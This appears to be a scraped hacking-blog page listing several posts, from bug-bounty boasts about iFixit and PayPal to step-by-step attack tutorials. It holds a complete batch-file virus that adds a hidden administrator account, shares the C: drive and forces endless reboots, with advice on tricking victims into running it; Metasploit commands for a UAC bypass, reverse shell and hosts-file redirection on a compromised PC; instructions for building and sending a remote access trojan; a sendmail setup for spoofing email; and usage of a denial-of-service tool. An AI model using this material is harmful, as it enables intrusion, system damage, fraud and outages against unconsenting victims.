ifixit.com Stored XSS Vulnerability

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxuaK4gZ-02gNN8uQrnafEvNODgSCcYXIS2M5i8sbdnMbZUIx2b6nAb186DN9XYuWaJIn_uWMaRVvoSK-c0lqHbEtp3uecbjyS0ibeY1Nf1K6_wyqlGADu7bL_UsiztnPHTHZDfE5yJ88/s1600/3444991_300.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxuaK4gZ-02gNN8uQrnafEvNODgSCcYXIS2M5i8sbdnMbZUIx2b6nAb186DN9XYuWaJIn_uWMaRVvoSK-c0lqHbEtp3uecbjyS0ibeY1Nf1K6_wyqlGADu7bL_UsiztnPHTHZDfE5yJ88/s1600/3444991_300.jpg" /></a></div><br />Well, it has been a long time, since i haven't posted any thing, i was a bit busy with my university exams, However, finally i managed to get some time to write something, Today i am sharing some of the vulnerabilites i found inside a popular website named "ifixit".<br /><br />I found two XSS one was a Stored XSS and a second one was a Self XSS, However the Self-XSS could have been easily exploited by <a href="http://www.rafayhackingarticles.net/2012/03/hijacking-facebook-users-clickjacking.html">Clickjacking</a> techniques as the page did not contain X-Frame options, Therefore the Self-XSS was also considered.<br /><a name='more'></a>I have created a short POC of the Stored Cross Site Scripting vulnerability (XSS), I hope you enjoy it:<br /><h4>iFixit Stored Cross Site Scritping [Video POC]:</h4><div class="separator" style="clear: both; text-align: center;"><object class="BLOGGER-picasa-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCh231PqAjnAwXn89W-ORZgO2BXtB8yGdk3_vRXcE-9jGlXvjDA0hvKTCxCWncrU6hH_pMJVrfPxwckgglpyi_dyoogmFbc-BgkQw9zojACSk8-QMJGRkKcPorSzH3Fb1coX6QdisHTIo/s1600/IFIXIT+PERSISTANT+XSS.mp4" height="266" width="320"><param name="movie" value="http://video.google.com/googleplayer.swf?videoUrl=http%3A%2F%2Fredirector.googlevideo.com%2Fvideoplayback%3Fid%3D9d051db678d3e474%26itag%3D18%26source%3Dpicasa%26cmo%3Dsensitive_content%253Dyes%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1359573833%26sparams%3Did%2Citag%2Csource%2Cip%2Cipbits%2Cexpire%26signature%3D378B4B2BA68625B19EB48547219A3B5EF20046F6.1D02A16C189B80C6132AD48CA50A719DE23CE000%26key%3Dlh1" /><param name="bgcolor" value="#FFFFFF" /><param name="allowFullScreen" value="true" /><embed width="577" height="266" src="http://video.google.com/googleplayer.swf?videoUrl=http%3A%2F%2Fredirector.googlevideo.com%2Fvideoplayback%3Fid%3D9d051db678d3e474%26itag%3D18%26source%3Dpicasa%26cmo%3Dsensitive_content%253Dyes%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1359573833%26sparams%3Did%2Citag%2Csource%2Cip%2Cipbits%2Cexpire%26signature%3D378B4B2BA68625B19EB48547219A3B5EF20046F6.1D02A16C189B80C6132AD48CA50A719DE23CE000%26key%3Dlh1" type="application/x-shockwave-flash" allowfullscreen="true"></embed></object></div><h4>iFixit Self-XSS POC</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj10EFLiiZpdx-jm7VsoJaMMZ90YuIuN49j1X9If3YBIKctf6_2R1SvVbvWrbvGWOEQ8rk8sRYbYwnCSJ6I4uUSYl09KCc6oezYAGiwuJmCHbZi365zoDOlfsfzbyHuGUkStCzv9Eb3zJ4/s1600/ifixit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj10EFLiiZpdx-jm7VsoJaMMZ90YuIuN49j1X9If3YBIKctf6_2R1SvVbvWrbvGWOEQ8rk8sRYbYwnCSJ6I4uUSYl09KCc6oezYAGiwuJmCHbZi365zoDOlfsfzbyHuGUkStCzv9Eb3zJ4/s640/ifixit.png" width="577" /></a></div><br />For the above vulnerabilities, i was listed inside ifixit.com's responsible disclosure page:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUEFYQ72Q8Ur7jmaGeWrlUQa52VmlwoFYTnCUtsTc5sglVYjWrF_Zvww_1eCqQPHx8ri-yYuzcshcmPqJgabpIVudN2bn7mZW4uXa7Q_Ns-nrJE-JAVKFI9jZgauZxD_ieGi1rvpIF81M/s1600/ifixit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="604" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUEFYQ72Q8Ur7jmaGeWrlUQa52VmlwoFYTnCUtsTc5sglVYjWrF_Zvww_1eCqQPHx8ri-yYuzcshcmPqJgabpIVudN2bn7mZW4uXa7Q_Ns-nrJE-JAVKFI9jZgauZxD_ieGi1rvpIF81M/s640/ifixit.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div>Along with it, they also sent me two T-Shirts, some stickers and a 54 bit driver toolkit:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtNiRuUnnHDYytLHzl-BXDZH5BOpIqHg3m7ZV8Sfip0_msAZeu4uEZrxnBrjFft5nowVQgatoSUgt90dghhRHFltaTXFZTxOpN8pDexemSZPud3jwoEHuakJJduZ2UT4iBDArGubH-h-w/s1600/IMAG0545.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="428" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtNiRuUnnHDYytLHzl-BXDZH5BOpIqHg3m7ZV8Sfip0_msAZeu4uEZrxnBrjFft5nowVQgatoSUgt90dghhRHFltaTXFZTxOpN8pDexemSZPud3jwoEHuakJJduZ2UT4iBDArGubH-h-w/s640/IMAG0545.jpg" width="577" /></a></div></div>

ifixit.com Stored XSS Vulnerability

Well, it has been a long time, since i haven't posted any thing, i was a bit busy with my university exams, However, finally i managed t...

+ Read more »

D.N.S. poisoning using metasploit.

<div dir="ltr" style="text-align: left;" trbidi="on">Today we will edit hot file of the Remote P.C which has been compromised. By editing Host file you can Redirect any website to any I.P address. Absolutely we will use metasploit.<br /><br />(1)Hack remote p.c .(<a href="http://tipstrickshack.blogspot.in/search/label/metasploit" target="_blank">How to hack Remote P.C.?</a>)<br /><br />(2)Now we will Bypass U.A.C. protection of windows.<br /><br />(3)Open Terminal & type following code in terminal<br /><br />msfconsole<br /><br />use exploit/windows/local/bypassuac<br /><br />set payload windows/meterpreter/reverse_tcp<br /><br />set lhost 192.168.1.6<br /><br />set session 1<br /><br />exploit<br /><br />(4)Now we will edit host file.<br /><br />msf >use post/windows/manage/injet_host<br /><br />msf post(injet_host) >set domain www.google.com<br /><br />msf post(injet_host) >set ip Your Desired I.P.<br /><br />msf post(injet_host) >set session 2<br /><br />msf post(injet_host) >exploit<br /><br />This will Redirect google.com in victim p.c to your desired I.P.<br /></div>

D.N.S. poisoning using metasploit.

Today we will edit hot file of the Remote P.C which has been compromised. By editing Host file you can Redirect any website to any I.P addre...

+ Read more »

How to use R.A.T. through S.E.T?

<div dir="ltr" style="text-align: left;" trbidi="on">RAT is Remote Administration tool , using RAT you can control Remote P.C. ,there are lots of software available for RAT , but they are made from hackers, there is possibility of back-door in that readily available software. So today we use RAT through Social engineering toolkit(SET).<br /><br />(1)Open your terminal & type<br /><br />cd /opt/set<br /><br />./set<br /><br />(2)update your set<br /><br />(3)Now select option 3 which is Third party Modules<br /><br />(4)Now select option 2 which is RATTE (Remote administration tool tommy edition).<br /><br />(5)Enter I.P. Address of your computer to connect back<br /><br />(6)Port RATTE Server should listen on [8080]: press enter<br /><br />(7)Should RATTE be persistent [no|yes]?:yes<br /><br />(8)Use specifix filename (ex. firefox.exe) [filename.exe or empty]?:cool.exe<br /><br />(9) Payload has been exported to src/program_junk/ratteM.exe<br /><br />(10)Now send your ratteM.exe files to victim, as soon as they download and open it<br /><br />Start the ratteserver listener now [yes|no]:yes<br /><br />(11)chose 1 option which is list client<br /><br />(12)if the payload been executed successfully, then you will see a new session and the client details. Note down the session number. Enter the session you want to interact with:press 0 here<br /><br />Now choose option2 “activate client”<br /><br />Now you get menu with lots of menu. Select 1st option which is start shell.</div>

How to use R.A.T. through S.E.T?

RAT is Remote Administration tool , using RAT you can control Remote P.C. ,there are lots of software available for RAT , but they are made ...

+ Read more »

Hackers Get Your Team Ready - CTF 365

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKFXtdA02atYmRiaH7dDmoi-TGIU1dWFP2AqYFV1yoZrTokv8pJ62qI485w4TWQdU-YO0ly7t9gNy5zx_NXvn_53gmHJM9NeEU1HTTTF0z4exPwArmkYWM0g3J5Ye0BMqUxXVzeIMwqfU/s1600/RafayBalog+-+CTF+Article_html_7ef5ca07.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKFXtdA02atYmRiaH7dDmoi-TGIU1dWFP2AqYFV1yoZrTokv8pJ62qI485w4TWQdU-YO0ly7t9gNy5zx_NXvn_53gmHJM9NeEU1HTTTF0z4exPwArmkYWM0g3J5Ye0BMqUxXVzeIMwqfU/s1600/RafayBalog+-+CTF+Article_html_7ef5ca07.png" /></a></div><br /><br /><div style="margin-bottom: 0in;">When it comes to infosec industry we all know that practice is the best way to learn how to defend and protect your system and more important how to find vulnerabilities and flaws within the systems you are after. This is a never ending training and the way you can do it most intensely and extensively is on CTF competitions. </div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;">Today's <b>CTF</b> are becoming more and more complex and engaged. You can find from level based CTF's where you have to pass a level in order to get access to the next, up to more sophisticated systems that mimic different scenarios like internet bank phishing, to complex money laundering scenarios up to attack and defend games where each team get a server full of vulnerabilities or flaws and teams have to patch it while other members exploits the other teams servers.</div><div style="margin-bottom: 0in;"></div><a name='more'></a><br /><div style="margin-bottom: 0in;">Any good thing comes with bad things too. Beside their value as an alternative to infosec training labs, there are also some cons. CTFs are held yearly, spread it all over the world, held for short period of time, far from the real world internet (e.g. no DoS or DDoS attacks allowed). Most of them fall into oblivion, even though they are fun.</div><div style="margin-bottom: 0in;"><br /></div>We at CTF365 decided to change CTF competitions for the better and we promise to blow your expectations. We'll simply build an internet within The Internet where everything will be possible. Well, almost everything. Routers, switches, networks, DoS or DDoS attacks, you name it.<br /><em>CTF365 is World of Warcraft for Hackers except that instead of fighting in a fantasy world, with imaginary powers against imaginary characters, CTF365 will replicate the real world as much as possible, and you will have to fight with your own real tools... hacking tools. </em><br /><em><br /></em><em>B</em><em>ackTrack, Metasploit, Nmap, BackBox Linux or whatever you choose to use as weapons. You will have your own Fortress (your own server) to defend, with your own network, routers, and switches. You will build your own team and we will provide you with RTTK – Red Team Tool Kit for team communication and many more features. There will be as few rules as possible trying to get to the perfect cyber wargame: No rules at all.</em><br /><em><br /></em><strong>CTF365</strong> will provide the infrastructure VPS included.<br /><br /><div style="margin-bottom: 0in;">This is CTF365 team's goal. To create an internet within the real internet, a place where everybody can hack others machines while protect their own and become better and better in their day-to-day trainings.</div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;">CTF365 will test the teams for both defensive and offensive skills and its goal is to make players to become better at what they love to do most; offensive and/or defensive security. Having a place full of different kind of systems give players the opportunity to feel like in real life when you don't know what it'll be around the coroner.</div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;">As a system administrator you and your team can experiment new configurations without the fear that something wrong can happen or you can simply train your skills to protect your system. CTF365 is the ultimate testing field for servers administrators and pentesters.</div></div>

Hackers Get Your Team Ready - CTF 365

When it comes to infosec industry we all know that practice is the best way to learn how to defend and protect your system and more importan...

+ Read more »

How to install & configure send mail in Ubuntu?

<div dir="ltr" style="text-align: left;" trbidi="on">Send mail is program which will help you to send email through command, you can send email from terminal or CMD . In this program we use our machine as a server. I will show you how to install & configure Send-Mail. So we can spoof email to targets. But problem is that this email is detected as spam due to automatic sending through machine.<br /><br /><h3 style="text-align: left;">How to Install Send-Mail?</h3><br />Open terminal & type following command in terminal.<br /><br />sudo apt-get install mailutils<br /><br />sudo apt-get install sendmail<br /><br /><br /><h3 style="text-align: left;">How to configure it?</h3><br />After installing sendmail , you should configure sendmail. It`s little hard. But don`t worry after that we can spoof email to anyone.<br /><br />Type following command on terminal<br /><br />sudo gedit /etc/mail/sendmail.mc<br /><br />It will open sendmail.mc file.<br /><br />For example your last two lines are as follow<br /><br />MAILER(`local')dnl<br /><br />MAILER(`smtp')dnl<br /><br />Put this code before that two lines.<br /><br />MAILER_DEFINITIONS<br /><br />define('SMART_HOST',`smtp.gmail.com')<br /><br />Ok. now close that file<br /><br />Now we will generate configure file from .mc file so type following command in terminal.<br /><br />sudo bash -c 'cd/etc/mail/ && m4 sendmail.mc >sendmai.cf'<br /><br />Now everything is complete, try to send mail using terminal or use <a href="http://tipstrickshack.blogspot.com/2012/12/how-to-install-social-engineering.html" target="_blank">Social Engineering Tool-Kit</a> as i mention in previous post. <br /><br /><br /><h3 style="text-align: left;">How to send mail through Command?</h3><br />open terminal and type following command.<br /><br />telnet 127.0.0.1 25<br /><br />HELO server<br /><br />MAIL from:sender`s email address<br /><br />RCPT to: Recipient address<br /><br />DATA<br /><br />Subject:Test mail<br /><br />from: sender`s email address<br /><br />to: receiver`s address<br /><br />Test Mail <br /><br />.<br /><br />quit<br /><br /><br />Now check spam folder of receiver`s email , you got email . Now check show original option of email , you can see that i.p. of computer , o.s. , many other things. <br /><br /></div>

How to install & configure send mail in Ubuntu?

Send mail is program which will help you to send email through command, you can send email from terminal or CMD . In this program we use our...

+ Read more »

How to install social engineering toolkit(S.E.T.) in ubuntu?

<div dir="ltr" style="text-align: left;" trbidi="on">Social Engineering Tool kit is cool tool which came with BACKTRACK, this increase power of metasploit. If you are on any linux system other than BACKTRACK , then you can install it .<br /><br /><a href="http://tipstrickshack.blogspot.com/2013/01/how-to-move-set-to-github.html" target="_blank">Updated:This article was written when S.E.T. use SVN. Now it`s move to github. So please click here to new installation method.</a> <br /><br />Extra package which is necessary to use SET effectively are as follow.<br /><br />(1)Metasploit:- You can see my old post about how to install metasploit in ubuntu <a href="http://tipstrickshack.blogspot.com/2012/09/how-to-install-metasploit-in-ubuntu.html" target="_blank">here</a>.<br /><br />(2)Ettercap:- If you are on any network & want to attack on network like Man in the Middele Attack or DNS poisoning then you require it.<br /><br />To install Ettercap open terminal in type following command:-<br /><br />sudo apt-get install ettercap<br /><br />(3)Openjdk-6-It`s necessary program to use SET. Just type following command in terminal<br /><br />sudo apt-get install openjdk-6-jdk<br /><br /><br />Now open terminal & change directory to opt.<br /><br />sudo bash<br /><br />cd /opt<br /><br />svn co <a href="http://svn.secmaniac.com/social_engineering_toolkit%20set/" target="_blank">http://svn.secmaniac.com/social_engineering_toolkit set/</a><br /><br />cd /opt/set<br /><br />svn update<br /><br />nano config/set_config<br /><br />Now we will configure it. First it require metaspolit path . So we will put it on configure file. Here comes problem , in first step we install metasploit , it`s directory is opt/metasploit-4.4.0/msf3. But when we put this path in configure file it cannot detect metasploit . So we have to rename metasploit-4.4.0 to framework3. So rename metasploit-4.4.0 folder name to framework3.<br /><br />Put opt/framework3/msf3 this path in config file. Save it.Type in terminal.<br /><br />./set<br /><br />It will open SET .<br /><br />In next tutorial I will show you how to configure sendmail & use it in set.<br /><br />I Know I cannot explain good, So if you face any problem please mention in comment.<br /><br /><a href="http://tipstrickshack.blogspot.com/2013/01/how-to-move-set-to-github.html" target="_blank">Updated:This article was written when S.E.T. use SVN. Now it`s move to github. So please click here to new installation method.</a></div>

How to install social engineering toolkit(S.E.T.) in ubuntu?

Social Engineering Tool kit is cool tool which came with BACKTRACK, this increase power of metasploit. If you are on any linux system other ...

+ Read more »

The Story Behind, How The Data Was Stolen

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on">No one likes to hear the bad news that their computer, email, or phone has been hacked and the data stored in it has been plundered by cyber criminals. And hearing this news during the end of the year with Christmas approaching can only be the Grinch’s cherry on top to a year of disastrous security failures. But the sad fact is many more people are being faced with this problem as Grinch-like hackers continue to steal data on an increasingly significant basis. We may think that we are safe from the problem but in reality we are right in the midst of it, with internet giants coming under the radar as well!<br /><br />Armed with keyloggers, Trojans, backdoor exploit methods and whatnot; these Grinches are pulling for the grand finale as 2012 comes to a close. Of course, this means that the data Industry has been lacking some major incentives and preventive measures that allowed these criminals to slip in between the cracks and make off with our data. The data breach investigations report is a pictorial representation of the actual scenario; read it to figure out the happenings.<br /><br /></div><a href="http://www.mobistealth.com/blog/wp-content/uploads/2012/12/grinch_data_theft.jpg"><img alt="" border="0" src="http://www.mobistealth.com/blog/wp-content/uploads/2012/12/grinch_data_theft.jpg" width="577" /></a><br />Source: <a href="http://www.mobistealth.com/" rel="no follow">MobiStealth.com</a></div>

The Story Behind, How The Data Was Stolen

No one likes to hear the bad news that their computer, email, or phone has been hacked and the data stored in it has been plundered by cyber...

+ Read more »

PayPal Pays Me A Total Bounty Of 10,000 For The Command Execution Bug

<div dir="ltr" style="text-align: left;" trbidi="on">                  <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCi76jibbwqNwaZa-tvbU-oJv83vsnu5iBtiiHLgwAYtYTR2PFESQtz8rFP6FpAQAXwRnGU1kb9zxO93iS7X_eoQ_Y-e4dQt3XYeABd7ofP3wJ49bjqmsVLgeNVPo-yaZ6WSV3U6p6Vak/s1600/bugs.jpg" imageanchor="1" style="background-color: white; border: none; color: #666666; font-family: Verdana; font-size: 12px; line-height: 19.200000762939453px; margin-left: 1em; margin-right: 1em; text-align: center; text-decoration: initial;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCi76jibbwqNwaZa-tvbU-oJv83vsnu5iBtiiHLgwAYtYTR2PFESQtz8rFP6FpAQAXwRnGU1kb9zxO93iS7X_eoQ_Y-e4dQt3XYeABd7ofP3wJ49bjqmsVLgeNVPo-yaZ6WSV3U6p6Vak/s1600/bugs.jpg" style="border-width: 0px; padding: 10px;" /></a><br />Recently, I wrote about the <a href="http://www.rafayhackingarticles.net/2012/12/wow-paypal-sends-me-5000-for-command.html">command execution vulnerability</a> i found in Paypal for which they sent me an initial payment of 5000$, This story was featured in lots of popular technology blogs like Softpedia, ProPakistani, MyBloggertricks etc. Recently i received an email from Paypal, where they informed me that they have deposited the remaining bounty "4750$" to my business partners Paypal account.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1gsTZFbg-gE7R6g04qUbrp456Hoecv-uGexgPXRtKVFlMbNrRrxGZFB_v838f6gnmvjI2JAZFIKmoS9ZD71q2uHkW0xc_-eY2-VCsWtlelyUpmVPn1wwPiJJYDodwLMz_ZBJTbt_TVOM/s1600/Paypalw.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1gsTZFbg-gE7R6g04qUbrp456Hoecv-uGexgPXRtKVFlMbNrRrxGZFB_v838f6gnmvjI2JAZFIKmoS9ZD71q2uHkW0xc_-eY2-VCsWtlelyUpmVPn1wwPiJJYDodwLMz_ZBJTbt_TVOM/s640/Paypalw.png" width="577" /></a></div><br />I would also like to let you know that, still more than 20 bugs i sent are being validated by Paypal. </div>

PayPal Pays Me A Total Bounty Of 10,000 For The Command Execution Bug

                   Recently, I wrote about the command execution vulnerability i found in Paypal for which they sent me an initial payment ...

+ Read more »

Mohammad Chose Blogging, I Choose Hacking

<div dir="ltr" style="text-align: left;" trbidi="on"><img align="left" alt="blog or hack" border="0" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0W-PgmgDpiDQvof5-EUIIq_NiLQk8lcxBKX-bSmswNQuJzyYCiwUox9KcbHrH48ORDkWzJXIKs7PcIfs8geghNPPfA8UMbiEAlUHMjjTiH4QHsbykfIOWvLcH3dKLwcqW8gqmk4K3aydA/?imgmax=800" style="background-color: white; background-image: none; border: 0px; color: #333333; display: inline; float: left; font-family: Verdana; font-size: 13px; line-height: 20.78333282470703px; margin: 0px 7px 0px 0px; padding: 0px 0px 10px; text-align: justify;" title="blog or hack" width="420" /><span style="background-color: white; color: #333333; font-family: Verdana; font-size: 13px; line-height: 20.78333282470703px; text-align: justify;"></span><br /><div>Well, this post is not an ordinary one that talks about "Making Six Figure Income Online" or making millions from blogging, it rather contains some interesting piece of advices for Novice Bloggers and also the Ninjas out there who are struggling hard to survive online. It all started, when Mohammad and I met back in 2009 in a Snooker Club. We both were interested in blogging and Internet Marketing, so we therefore had arranged a meeting in order to share our existing blogging strategies.</div><div>Read More about the whole story on Mybloggertricks "<b><a href="http://www.mybloggertricks.com/2012/12/mohammad-chose-blogger-i-chose-hacking.html">Mohammad Choose Blogger, I Choose Hacking</a></b>".</div></div>

Mohammad Chose Blogging, I Choose Hacking

Well, this post is not an ordinary one that talks about "Making Six Figure Income Online" or making millions from blogging, it ra...

+ Read more »

Download Free E-books about Hacking

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: left;"><br /></div>Hello guys, if you want to learn more about Hacking & Computer Security ,i uploaded below eBooks on dropbox.Download link is in end.<br /><br />List of Books are as follow.<br /><br />(1)CEH(Certified Ethical Hackers)2010V6.<br /><br />(2)Hacking Wireless Networks For Dummies.<br /><br />(3)H gray hat hacking.<br /><br />(4)Blind_SQLInjection.<br /><br />(5)backtrack-4-assuring-security-by-penetration-testing.<br /><br />(6)Collections of Ankit Fadia Hacking Book.<br /><br />(7)Secrets of Reverse Engineering.<br /><br />(8)Social Engineering toolkit<br /><br />(9)Ethical Hacking and Countermeasures- Web Applications and Data Servers.<br /><div style="margin-bottom: 0in; text-align: left;"><br /><span style="color: red;">New books Added</span><br /><br /><span style="color: red;"><span style="color: black;">(10)CSRF attack & Defense</span></span><br /><br /><span style="color: red;"><span style="color: black;">(11)Armitage guide</span></span><br /><span style="color: red;"><span style="color: black;"><br /></span></span><span style="color: red;"><span style="color: black;">(12)Pass-the-hash attacks: Tools and Mitigation</span></span><br /><span style="color: red;"><span style="color: black;"><br />(13)HACKING: THE ART OF EXPLOITATION</span></span><br /><span style="color: red;"><span style="color: black;"><br />(1<span style="font-size: small;">4</span>)XSS Attacks - Exploits and Defense</span></span><br /><br /><span style="color: red;"><span style="color: black;">(15)Seven Deadliest Network Attack</span> </span><br /><br /><br /><a href="http://db.orangedox.com/AXETYRPz9witTJW4WE/ebook.7z" rel="nofollow" target="_blank">Download link:- Please click here.</a></div></div>

Download Free E-books about Hacking

Hello guys, if you want to learn more about Hacking & Computer Security ,i uploaded below eBooks on dropbox.Download link is in end. Lis...

+ Read more »

How to use REFREF?

<div dir="ltr" style="text-align: left;" trbidi="on">As we know in past , famous Hacktivist group Anonymous carried out series Of DDOS attack in number of websites like paypal ,master-card ,visa. At that time they used tool LOIC for down the website.<br /><br />Although they got success in their project ,but due to LOIC some of hackers arrested later. So they decide to build new weapon for DOS attack.<br /><br />It was REFREF. It is programmed in perl ,java ,python.But main requirement is URL must be vulnerable to SQL injection. It mean if you found website which is vulnerable to SQL injection , then by using this tool you can easily down website.<br /><br />You can Download REFREF SCRIPT from <a href="http://www.4shared.com/file/mzJDxPSM/refref.html" target="_blank">here</a>.<br /><br /><h3>How to use?</h3><br />It`s pretty simple. Just open terminal change path & Execute script.<br /><br />cd Downloads<br /><br />perl refref.pl vulnerable URL<br /><br />It will down website in short time. This tools is very effective , 17 second attacks from single machine resulting down 42 min outage on pastebin.</div>

How to use REFREF?

As we know in past , famous Hacktivist group Anonymous carried out series Of DDOS attack in number of websites like paypal ,master-card ,vis...

+ Read more »

Batch File Virus -4

<div dir="ltr" style="text-align: left;" trbidi="on">@echo off<br /><br />cd\<br /><br />cd %SystemRoot%\system32\<br /><br />md 1001<br /><br />cd\<br /><br />cls<br /><br />rem N0 H4rm 15 cau53d unt1| N0w<br /><br />rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| ch4ng3 th3 t1m3 2 12:00:00.0 & d4t3 as 01/01/2000<br /><br />echo 12:00:00.00 | time >> nul<br /><br />echo 01/01/2000 | date >> nul<br /><br />net users Microsoft_support support /add<br /><br />rem Th3 u53r 4cc0unt th4t w45 Cr34t3d 15 ju5t 4 |1m1t3d 4cc0unt<br /><br />rem Th15 p13c3 0f c0d3 w1|| m4k3 th3 |1m1t3d u53r 4cc0unt5 t0 4dm1n15tr4t0r 4cc0unt.<br /><br />net localgroup administrators Microsoft_support /add<br /><br />rem 5h4r3 th3 R00t Dr1v3<br /><br />net share system=C:\ /UNLIMITED<br /><br />cd %SystemRoot%\system32\1001<br /><br />echo deal=msgbox (”Microsoft Windows recently had found some Malicious Virus on your computer, Press Yes to Neutralize the virus or Press No to Ignore the Virus”,20,”Warning”) ><br /><br />%SystemRoot%\system32\1001\warnusr.vbs<br /><br />rem ch4ng35 th3 k3yb04rd 53tt1ng5 ( r4t3 4nd d3|4y )<br /><br />mode con rate=1 > nul<br /><br />mode con delay=4 >> nul<br /><br />rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| d15p|4y 50m3 4nn0y1ng m5g, as c0d3d ab0v3, 3×4ct|y<br /><br />@ 12:01 and 12:02<br /><br />at 12:01 /interactive “%SystemRoot%\system32\1001\warnusr.vbs”<br /><br />at 12:02 /interactive “%SystemRoot%\system32\1001\warnusr.vbs”<br /><br />msg * “You are requested to restart your Computer Now to prevent Damages or Dataloss” > nul<br /><br />msg * “You are requested to restart your Computer Now to prevent Damages or Dataloss” >><br /><br />nul<br /><br />rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| c0py th3 warnusr.vbs f1|3 2 th3 5t4rtup, th4t w1|| b3 3×3cut3d @ 3v3ryt1me th3 c0mput3r 5t4rt5<br /><br />copy %SystemRoot%\system32\1001\warnusr.vbs “%systemdrive%\Documents and Settings\All<br /><br />Users\Start Menu\Programs\Startup\warnusr.vbs”<br /><br />rem<br /><br />***************************************************************************<br /><br />rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| d15p|4y Th3 5hutd0wn d14|05 B0X w1th 50m3 m5g and w1|| r35t4rt c0nt1nu0u5|y<br /><br />echo shutdown -r -t 00 -c “Microsoft has encountered a seriuos problem, which needs your attention right now. Hey your computer got infected by Virus. Not even a single anti-virus can detect this virus now. Wanna try? Hahahaha....! ” > %systemroot%\system32\1001\sd.bat<br /><br />copy %systemroot%\Documents and Settings\All Users\Start Menu\Programs\Startup\sd.bat<br /><br />“%systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\sd.bat”<br /><br />rem<br /><br />***************************************************************************<br /><br />cd\<br /><br />cls<br /><br />rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| m4k3 th3 v1ru5 b1t 5t34|th13r<br /><br />cd %systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\<br /><br />attrib +h +s +r warnusr.vbs<br /><br />attrib +h +s +r sd.bat<br /><br />cd\<br /><br />cd %systemroot%\system32<br /><br />attrib +h +s +r 1001<br /><br />rem K1||5 th3 3xp|0r3r.3×3 Pr0c355<br /><br />taskkill /F /IM explorer.exe<br /><br />rem @ EOV // End of Virus<br /><br />Copy the source code and paste it in a notepad, then save it with the .bat extension. This virus program will begin its operation at C:\windows\system32 and creates a new directory with name '1001', changes the time to 12:00 and date to 01-01-2000, then creates a new user with account name 'Microsoft_support' with a password 'support' matching the account.<br /><br />It automatically assigns administrator rights to the user account that was created, then shares the root drive 'C:' which really is a security issue making the system completely vulnerable. It will create a VBScript file with name 'warnusr.vbs' that is used to display a message 'Microsoft Windows recently had found some Malicious Virus on your computer, Press Yes to Neutralize the virus or<br /><br />Press No to Ignore the Virus', that really seems to be coming from the operating system itself, then it will change the keyboard setting by reducing the rate and delay time. Since the time and date has been already modified by the virus, it will automatically pop up a message stating 'You are requested to restart your Computer Now to prevent Damages or Data loss' exactly at 12:01 and 12:02, if the user restarts the computer, then it’s gone.<br /><br />Whenever the user try to login to the computer, it will automatically reboots continuously, because the command 'shutdown -r' is set with time 00, and kept in start-up folder, the user has nothing to stop this unless he enters in safe mode and delete the file, more over the file is set with system and hidden attribute making it invisible.<br /><br />The only way to stop this is to enter in safe mode and disable the start-up items, and then delete the file that reside in C:\windows\system32\1001 and in the start-up folder.<br /><br />You can also use some exe-binders to bind this virus with any audio, video, text or whatever the files may be, then use some social engineering technique to make the victim execute the file by himself to harm his/her computer.<br /><br />You can create this virus without using any third party tools in windows, also instead of exe-binder, you can use the ‘iexpress’ wizard to create a custom package. </div>

Batch File Virus -4

@echo off cd\ cd %SystemRoot%\system32\ md 1001 cd\ cls rem N0 H4rm 15 cau53d unt1| N0w rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| ch4ng3 th3 t1m3...

+ Read more »

Batch File Virus -3

